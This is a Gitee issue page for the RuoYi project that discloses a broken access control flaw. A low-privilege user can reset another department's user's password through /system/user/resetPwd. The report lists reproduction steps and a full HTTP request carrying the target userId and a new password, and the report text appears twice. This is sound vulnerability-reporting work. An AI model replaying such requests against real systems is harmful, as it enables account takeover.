Sign in
Sign up
Explore
Enterprise
Education
Search
Help
Terms of use
About Us
Explore
Enterprise
Education
Gitee Premium
Gitee AI
AI teammates
Sign in
Sign up
Fetch the repository succeeded.
Open Source
>
Web Development
>
Backend Management
&&
Watch
Unwatch
Watching
Releases Only
Ignoring
6.2K
Star
48.8K
Fork
27.3K
GVP
若依
/
RuoYi
Code
Issues
0
Pull Requests
11
Wiki
Insights
Pipelines
Service
JavaDoc
Quality Analysis
Jenkins for Gitee
Tencent CloudBase
Tencent Cloud Serverless
悬镜安全
Aliyun SAE
Codeblitz
SBOM
DevLens
Don’t show this again
Update failed. Please try again later!
Remove this flag
Content Risk Flag
This task is identified by
as the content contains sensitive information such as code security bugs, privacy leaks, etc., so it is only accessible to contributors of this repository.
Broken Access Control Vulnerability
Done
#I4RCO2
sanlang
Opened this issue
2022-01-18 20:43
In the WebUI, user `test1 ` does not have permission to reset the password of user `test3`, but the password of user `test3` can be reset through the `/system/user/resetPwd` request. 1. Choose “System Management”- > “Role Management”(“系统管理”->”角色管理”) , and add the role of “testrole”.  Set “Menu Permission” (“菜单权限”) as follows:  “Data Permission”- > “Data Scope” (“数据权限”->“数据范围”) is set to “ Data Permission of the department”(“本部门数据权限”).   2. Add a user named `test1`, and the userId is `100`. Add a user named `test3`, and the userId is `102`.  The “Home Department” (“归属部门”) of user `test1` is “ Marketing Department” (“市场部门”), and the “Role” ( “角色”) is testrole.  The “Home Department” (“归属部门”) of user `test3` is “Financial Department” (“财务部门”), and the “Role” (“角色”) is testrole.  3. After logging in to the system, user `test1` can see only user `test1` of the “marketing department”(“市场部门”), but not user `test3` of the “financial department”(“财务部门”).  4. The WebUI provides the “password reset”(“重置密码”) function. Invoke the resetPwd interface through the cookie of user `test1` to reset the password of user `test3`. The request parameters of user `test3` are `userId=102` and `loginName=test3`.   ``` POST /system/user/resetPwd HTTP/1.1 Host: localhost:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 42 Origin: http://localhost:8090 Connection: close Referer: http://localhost:8090/system/user/resetPwd/100 Cookie: nav-style=default; JSESSIONID=xxxxxxx Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin userId=102&loginName=test3&password=123456 ``` The password of user `test3` was reset successfully.
In the WebUI, user `test1 ` does not have permission to reset the password of user `test3`, but the password of user `test3` can be reset through the `/system/user/resetPwd` request. 1. Choose “System Management”- > “Role Management”(“系统管理”->”角色管理”) , and add the role of “testrole”.  Set “Menu Permission” (“菜单权限”) as follows:  “Data Permission”- > “Data Scope” (“数据权限”->“数据范围”) is set to “ Data Permission of the department”(“本部门数据权限”).   2. Add a user named `test1`, and the userId is `100`. Add a user named `test3`, and the userId is `102`.  The “Home Department” (“归属部门”) of user `test1` is “ Marketing Department” (“市场部门”), and the “Role” ( “角色”) is testrole.  The “Home Department” (“归属部门”) of user `test3` is “Financial Department” (“财务部门”), and the “Role” (“角色”) is testrole.  3. After logging in to the system, user `test1` can see only user `test1` of the “marketing department”(“市场部门”), but not user `test3` of the “financial department”(“财务部门”).  4. The WebUI provides the “password reset”(“重置密码”) function. Invoke the resetPwd interface through the cookie of user `test1` to reset the password of user `test3`. The request parameters of user `test3` are `userId=102` and `loginName=test3`.   ``` POST /system/user/resetPwd HTTP/1.1 Host: localhost:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 42 Origin: http://localhost:8090 Connection: close Referer: http://localhost:8090/system/user/resetPwd/100 Cookie: nav-style=default; JSESSIONID=xxxxxxx Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin userId=102&loginName=test3&password=123456 ``` The password of user `test3` was reset successfully.
Comments (
1
)
Sign in
to comment
Status
Done
Backlog
Doing
Done
Closed
Assignees
Not set
Labels
Not set
Label settings
Milestones
No related milestones
No related milestones
Pull Requests
None yet
None yet
Successfully merging a pull request will close this issue.
Branches
No related branch
Branches (
-
)
Tags (
-
)
Planed to start   -   Planed to end
-
Top level
Not Top
Top Level: High
Top Level: Medium
Top Level: Low
Priority
Not specified
Serious
Main
Secondary
Unimportant
参与者(2)
Java
1
https://gitee.com/y_project/RuoYi.git
git@gitee.com:y_project/RuoYi.git
y_project
RuoYi
RuoYi
Going to Help Center
Search
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
Repository Report
Back to the top
Login prompt
This operation requires login to the code cloud account. Please log in before operating.
Go to login
No account. Register